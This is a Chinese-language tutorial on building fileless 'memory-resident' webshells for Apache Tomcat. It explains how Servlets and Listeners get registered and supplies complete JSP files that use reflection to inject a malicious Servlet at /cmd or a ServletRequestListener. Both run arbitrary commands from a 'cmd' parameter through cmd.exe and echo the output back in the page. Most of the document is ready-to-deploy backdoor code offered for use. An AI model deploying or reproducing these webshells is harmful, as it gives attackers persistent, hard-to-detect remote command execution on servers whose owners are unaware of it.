Servlet内存马

Servlet内存马通过动态注册恶意Servlet组件,能够使攻击者在访问特定路由时去调用恶意的Servlet进而执行恶意逻辑

逆向Servlet注册

Servlet添加逻辑在ContextConfig类中的configureContext()方法中体现,该方法用于读取web.xml配置文件并进行相应配置,其中Servlet相关配置在如下进行

image-20260106162318050

该段代码没有体现的是WrappersetServlet()方法,该方法传递一个Servlet实例,程序如果检测到Servlet为空会利用setClass()中的全限定名参数去实例化,而我们动态注册是不依赖于web.xml配置文件的,所以最后我们要手动调用setServlet()传递一个实例

Wrapper可以视作Servlet的包装,包含了我们的Servlet对象以及其他部分,最后该方法通过

this.context.addChild(wrapper);

将Servlet放入了容器中。this.contextStandardContext对象,里面包含了各种核心配置。此外,context还需要获取访问该Servlet的路由映射,这部分通过以下代码体现

for(Map.Entry<String, String> entry : webxml.getServletMappings().entrySet()) {
this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue());
}

所以在把我们的恶意Servlet注入容器后,还需要调用addServletMappingDecoded()方法规定路由映射

构造Servlet内存马

构造恶意Servlet

public static class CmdServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
StringBuilder output = new StringBuilder();
ProcessBuilder processBuilder;
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
res.setContentType("text/html;charset=UTF-8");
res.getWriter().println(output);
}
}
}

首先从request对象获取ServletContext,再从ServletContext获取ApplicationContext,最后从ApplicationContext获取StandardContext

ServletContext servletContext = request.getServletContext();

Class<?> servletContextClass = servletContext.getClass();
Field applicationContext = servletContextClass.getDeclaredField("context");
applicationContext.setAccessible(true);
ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);

Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass();
Field standardContext = applicationContextClass.getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);

将恶意Servlet包装并传入trueStandardContext

Wrapper wrapper = trueStandardContext.createWrapper();
wrapper.setName("CmdServlet");
wrapper.setServletClass(CmdServlet.class.getName());
wrapper.setServlet(new CmdServlet());

trueStandardContext.addChild(wrapper);
trueStandardContext.addServletMappingDecoded("/cmd","CmdServlet");

response.getWriter().println("success");

完整的jsp内存马

<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
public static class CmdServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
StringBuilder output = new StringBuilder();
ProcessBuilder processBuilder;
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
res.setContentType("text/html;charset=UTF-8");
res.getWriter().println(output);
}
}
}
%>
<%
try{
ServletContext servletContext = request.getServletContext();

Class<?> servletContextClass = servletContext.getClass();
Field applicationContext = servletContextClass.getDeclaredField("context");
applicationContext.setAccessible(true);
ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);

Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass();
Field standardContext = applicationContextClass.getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);

Wrapper wrapper = trueStandardContext.createWrapper();
wrapper.setName("CmdServlet");
wrapper.setServletClass(CmdServlet.class.getName());
wrapper.setServlet(new CmdServlet());

trueStandardContext.addChild(wrapper);
trueStandardContext.addServletMappingDecoded("/cmd","CmdServlet");

response.getWriter().println("success");
}catch (Exception e){
e.printStackTrace();
}
%>

上传成功后,访问jsp文件,之后访问/cmd路由即可通过cmd参数进行RCE

image-20260106163437259


Listener内存马

类似的,Listener也是通过动态注册监听器进行恶意命令的执行

Listener监听器

Listener是JavaEE的一种规范接口,当某些事件发生时监听器被执行

监听器类型 功能介绍
ServletRequestListener 监听request作用域的创建和销毁
ServletRequestAttributeListener 监听request作用域的属性状态变化
HttpSessionListener 监听session作用域的创建和销毁
HttpSessionAttributeListener 监听session作用域的属性状态变化
ServletContextListener 监听application作用域的创建和销毁
ServletContextAttributeListener 监听application作用域的属性状态变化
HttpSessionBindingListener 监听对象与session的绑定和解除
HttpSessionActivationListener 监听session数值的钝化和活化

其中,ServletRequestListener在request作用域的创建和销毁时都会被触发,即每次请求都会触发

通过实现ServletRequestListener接口并重写requestInitialized()编写Listener

public class Listener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
ServletRequestListener.super.requestInitialized(sre);
}
}

逆向Listener注册

StandardContext类中的fireRequestInitEvent()方法调用了listenerlistener由上方的instance而来,instance又是从instances数组遍历而来的,instances数组通过this.getApplicationEventListeners()获取

image-20260106170459293

getApplicationEventListeners()返回了StandardContext中的applicationEventListenersList字段

public Object[] getApplicationEventListeners() {
return this.applicationEventListenersList.toArray();
}

很明显,通过修改applicationEventListenersList字段使其包含我们的恶意Listener即可,其中addApplicationEventListener()方法可以帮助我们插入恶意监听器

public void addApplicationEventListener(Object listener) {
this.applicationEventListenersList.add(listener);
}

构建Listener内存马

构造恶意Listener

public class Listener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
ServletRequestListener.super.requestInitialized(sre);
}
}

获取StandardContext,注入恶意监听器

ServletContext servletContext = request.getServletContext();

Class<?> servletContextClass = servletContext.getClass();
Field applicationContext = servletContextClass.getDeclaredField("context");
applicationContext.setAccessible(true);
ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);

Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass();
Field standardContext = applicationContextClass.getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);

trueStandardContext.addApplicationEventListener(new Listener());

完整的jsp内存马文件

<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%!
public class Listener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
ServletRequestListener.super.requestInitialized(sre);
}
}
%>
<%
try{
ServletContext servletContext = request.getServletContext();

Class<?> servletContextClass = servletContext.getClass();
Field applicationContext = servletContextClass.getDeclaredField("context");
applicationContext.setAccessible(true);
ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);

Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass();
Field standardContext = applicationContextClass.getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);

trueStandardContext.addApplicationEventListener(new Listener());
response.getWriter().println("success");
}catch (Exception e){
e.printStackTrace();
}
%>

访问jsp文件后任意页面传入cmd参数即可触发

Listener内存马回显

在Listener的requestInitialized()方法中,我们能调用的就只有一个ServletRequestEvent对象,该对象下持有一个request对象,故我们可以很方便地获取Request实例

image-20260106174129102

但是要让页面回显需要获取Response对象,而Request对象内部持有Response对象的引用

image-20260106174341429

通过反射可以获取它

Class<?> sreClass = sre.getClass();
Field requestFacadeField = sreClass.getDeclaredField("request");
requestFacadeField.setAccessible(true);
RequestFacade requestFacade = (RequestFacade) requestFacadeField.get(sre);
Class<?> requestFacadeClass = requestFacade.getClass();
Field requestField = requestFacadeClass.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Class<?> requestClass = request.getClass();
Field responseField = requestClass.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(request);

完整的jsp内存马文件

<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%!
public class Listener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");

try {
Class<?> sreClass = sre.getClass();
Field requestFacadeField = sreClass.getDeclaredField("request");
requestFacadeField.setAccessible(true);
RequestFacade requestFacade = (RequestFacade) requestFacadeField.get(sre);
Class<?> requestFacadeClass = requestFacade.getClass();
Field requestField = requestFacadeClass.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Class<?> requestClass = request.getClass();
Field responseField = requestClass.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(request);

if (cmd != null) {
StringBuilder output = new StringBuilder();
ProcessBuilder processBuilder;
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
response.setContentType("text/html;charset=UTF-8");
response.getWriter().println(output);
}
ServletRequestListener.super.requestInitialized(sre);
}catch(Exception e){
e.printStackTrace();
}
}
}
%>
<%
try{
ServletContext servletContext = request.getServletContext();

Class<?> servletContextClass = servletContext.getClass();
Field applicationContext = servletContextClass.getDeclaredField("context");
applicationContext.setAccessible(true);
ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);

Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass();
Field standardContext = applicationContextClass.getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);

trueStandardContext.addApplicationEventListener(new Listener());
response.getWriter().println("success");
}catch (Exception e){
e.printStackTrace();
}
%>

测试可以发现命令结果直接打印在了现有页面上

image-20260106180605743